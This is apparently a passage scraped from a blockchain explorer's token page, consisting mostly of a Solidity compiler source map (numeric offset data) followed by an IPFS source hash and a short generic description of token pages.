:13;:53::i;:::-;11195:792;11054:933;;;;:::o;2913:250::-;2971:7;2995:1;3000;2995:6;2991:47;;-1:-1:-1;3025:1:0;3018:8;;2991:47;3050:9;3062:5;3066:1;3062;:5;:::i;:::-;3050:17;-1:-1:-1;3095:1:0;3086:5;3090:1;3050:17;3086:5;:::i;:::-;:10;3078:56;;;;-1:-1:-1;;;3078:56:0;;12246:2:1;3078:56:0;;;12228:21:1;12285:2;12265:18;;;12258:30;12324:34;12304:18;;;12297:62;-1:-1:-1;;;12375:18:1;;;12368:31;12416:19;;3078:56:0;12044:397:1;2573:136:0;2631:7;2658:43;2662:1;2665;2658:43;;;;;;;;;;;;;;;;;2801:7;2837:12;2829:6;;;;2821:29;;;;-1:-1:-1;;;2821:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2861:9:0;2873:5;2877:1;2873;:5;:::i;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;69:70;14:131;:::o;150:247::-;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1;275;268:12;230:52;317:9;304:23;336:31;361:5;336:31;:::i;776:548::-;888:4;917:2;946;935:9;928:21;978:6;972:13;1021:6;1016:2;1005:9;1001:18;994:34;1046:1;1056:140;1070:6;1067:1;1064:13;1056:140;;;1165:14;;;1161:23;;1155:30;1131:17;;;1150:2;1127:26;1120:66;1085:10;;1056:140;;;1060:3;1245:1;1240:2;1231:6;1220:9;1216:22;1212:31;1205:42;1315:2;1308;1304:7;1299:2;1291:6;1287:15;1283:29;1272:9;1268:45;1264:54;1256:62;;;;776:548;;;;:::o;1329:315::-;1397:6;1405;1458:2;1446:9;1437:7;1433:23;1429:32;1426:52;;;1474:1;1471;1464:12;1426:52;1513:9;1500:23;1532:31;1557:5;1532:31;:::i;:::-;1582:5;1634:2;1619:18;;;;1606:32;;-1:-1:-1;;;1329:315:1:o;1649:456::-;1726:6;1734;1742;1795:2;1783:9;1774:7;1770:23;1766:32;1763:52;;;1811:1;1808;1801:12;1763:52;1850:9;1837:23;1869:31;1894:5;1869:31;:::i;:::-;1919:5;-1:-1:-1;1976:2:1;1961:18;;1948:32;1989:33;1948:32;1989:33;:::i;:::-;1649:456;;2041:7;;-1:-1:-1;;;2095:2:1;2080:18;;;;2067:32;;1649:456::o;2507:385::-;2593:6;2601;2609;2617;2670:3;2658:9;2649:7;2645:23;2641:33;2638:53;;;2687:1;2684;2677:12;2638:53;-1:-1:-1;;2710:23:1;;;2780:2;2765:18;;2752:32;;-1:-1:-1;2831:2:1;2816:18;;2803:32;;2882:2;2867:18;2854:32;;-1:-1:-1;2507:385:1;-1:-1:-1;2507:385:1:o;2897:160::-;2962:20;;3018:13;;3011:21;3001:32;;2991:60;;3047:1;3044;3037:12;2991:60;2897:160;;;:::o;3062:315::-;3127:6;3135;3188:2;3176:9;3167:7;3163:23;3159:32;3156:52;;;3204:1;3201;3194:12;3156:52;3243:9;3230:23;3262:31;3287:5;3262:31;:::i;:::-;3312:5;-1:-1:-1;3336:35:1;3367:2;3352:18;;3336:35;:::i;:::-;3326:45;;3062:315;;;;;:::o;4246:316::-;4320:6;4328;4336;4389:2;4377:9;4368:7;4364:23;4360:32;4357:52;;;4405:1;4402;4395:12;4357:52;4428:26;4444:9;4428:26;:::i;:::-;4418:36;4501:2;4486:18;;4473:32;;-1:-1:-1;4552:2:1;4537:18;;;4524:32;;4246:316;-1:-1:-1;;;4246:316:1:o;4567:388::-;4635:6;4643;4696:2;4684:9;4675:7;4671:23;4667:32;4664:52;;;4712:1;4709;4702:12;4664:52;4751:9;4738:23;4770:31;4795:5;4770:31;:::i;:::-;4820:5;-1:-1:-1;4877:2:1;4862:18;;4849:32;4890:33;4849:32;4890:33;:::i;:::-;4942:7;4932:17;;;4567:388;;;;;:::o;5454:380::-;5533:1;5529:12;;;;5576;;;5597:61;;5651:4;5643:6;5639:17;5629:27;;5597:61;5704:2;5696:6;5693:14;5673:18;5670:38;5667:161;;5750:10;5745:3;5741:20;5738:1;5731:31;5785:4;5782:1;5775:15;5813:4;5810:1;5803:15;5667:161;;5454:380;;;:::o;5839:127::-;5900:10;5895:3;5891:20;5888:1;5881:31;5931:4;5928:1;5921:15;5955:4;5952:1;5945:15;5971:128;6038:9;;;6059:11;;;6056:37;;;6073:18;;:::i;6104:356::-;6306:2;6288:21;;;6325:18;;;6318:30;6384:34;6379:2;6364:18;;6357:62;6451:2;6436:18;;6104:356::o;7142:422::-;7231:1;7274:5;7231:1;7288:270;7309:7;7299:8;7296:21;7288:270;;;7368:4;7364:1;7360:6;7356:17;7350:4;7347:27;7344:53;;;7377:18;;:::i;:::-;7427:7;7417:8;7413:22;7410:55;;;7447:16;;;;7410:55;7526:22;;;;7486:15;;;;7288:270;;;7292:3;7142:422;;;;;:::o;7569:806::-;7618:5;7648:8;7638:80;;-1:-1:-1;7689:1:1;7703:5;;7638:80;7737:4;7727:76;;-1:-1:-1;7774:1:1;7788:5;;7727:76;7819:4;7837:1;7832:59;;;;7905:1;7900:130;;;;7812:218;;7832:59;7862:1;7853:10;;7876:5;;;7900:130;7937:3;7927:8;7924:17;7921:43;;;7944:18;;:::i;:::-;-1:-1:-1;;8000:1:1;7986:16;;8015:5;;7812:218;;8114:2;8104:8;8101:16;8095:3;8089:4;8086:13;8082:36;8076:2;8066:8;8063:16;8058:2;8052:4;8049:12;8045:35;8042:77;8039:159;;;-1:-1:-1;8151:19:1;;;8183:5;;8039:159;8230:34;8255:8;8249:4;8230:34;:::i;:::-;8300:6;8296:1;8292:6;8288:19;8279:7;8276:32;8273:58;;;8311:18;;:::i;:::-;8349:20;;7569:806;-1:-1:-1;;;7569:806:1:o;8380:140::-;8438:5;8467:47;8508:4;8498:8;8494:19;8488:4;8467:47;:::i;8525:168::-;8598:9;;;8629;;8646:15;;;8640:22;;8626:37;8616:71;;8667:18;;:::i;8698:125::-;8763:9;;;8784:10;;;8781:36;;;8797:18;;:::i;9184:217::-;9224:1;9250;9240:132;;9294:10;9289:3;9285:20;9282:1;9275:31;9329:4;9326:1;9319:15;9357:4;9354:1;9347:15;9240:132;-1:-1:-1;9386:9:1;;9184:217::o;9538:127::-;9599:10;9594:3;9590:20;9587:1;9580:31;9630:4;9627:1;9620:15;9654:4;9651:1;9644:15;9670:251;9740:6;9793:2;9781:9;9772:7;9768:23;9764:32;9761:52;;;9809:1;9806;9799:12;9761:52;9841:9;9835:16;9860:31;9885:5;9860:31;:::i;9926:980::-;10188:4;10236:3;10225:9;10221:19;10267:6;10256:9;10249:25;10293:2;10331:6;10326:2;10315:9;10311:18;10304:34;10374:3;10369:2;10358:9;10354:18;10347:31;10398:6;10433;10427:13;10464:6;10456;10449:22;10502:3;10491:9;10487:19;10480:26;;10541:2;10533:6;10529:15;10515:29;;10562:1;10572:195;10586:6;10583:1;10580:13;10572:195;;;10651:13;;-1:-1:-1;;;;;10647:39:1;10635:52;;10742:15;;;;10707:12;;;;10683:1;10601:9;10572:195;;;-1:-1:-1;;;;;;;10823:32:1;;;;10818:2;10803:18;;10796:60;-1:-1:-1;;;10887:3:1;10872:19;10865:35;10784:3;9926:980;-1:-1:-1;;;9926:980:1:o;11733:306::-;11821:6;11829;11837;11890:2;11878:9;11869:7;11865:23;11861:32;11858:52;;;11906:1;11903;11896:12;11858:52;11935:9;11929:16;11919:26;;11985:2;11974:9;11970:18;11964:25;11954:35;;12029:2;12018:9;12014:18;12008:25;11998:35;;11733:306;;;;;:::o

Swarm Source

ipfs://69a1c83df27397b1dcdaea61cb12d0ad8da707aec0733a04f6bcb338b0429198
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.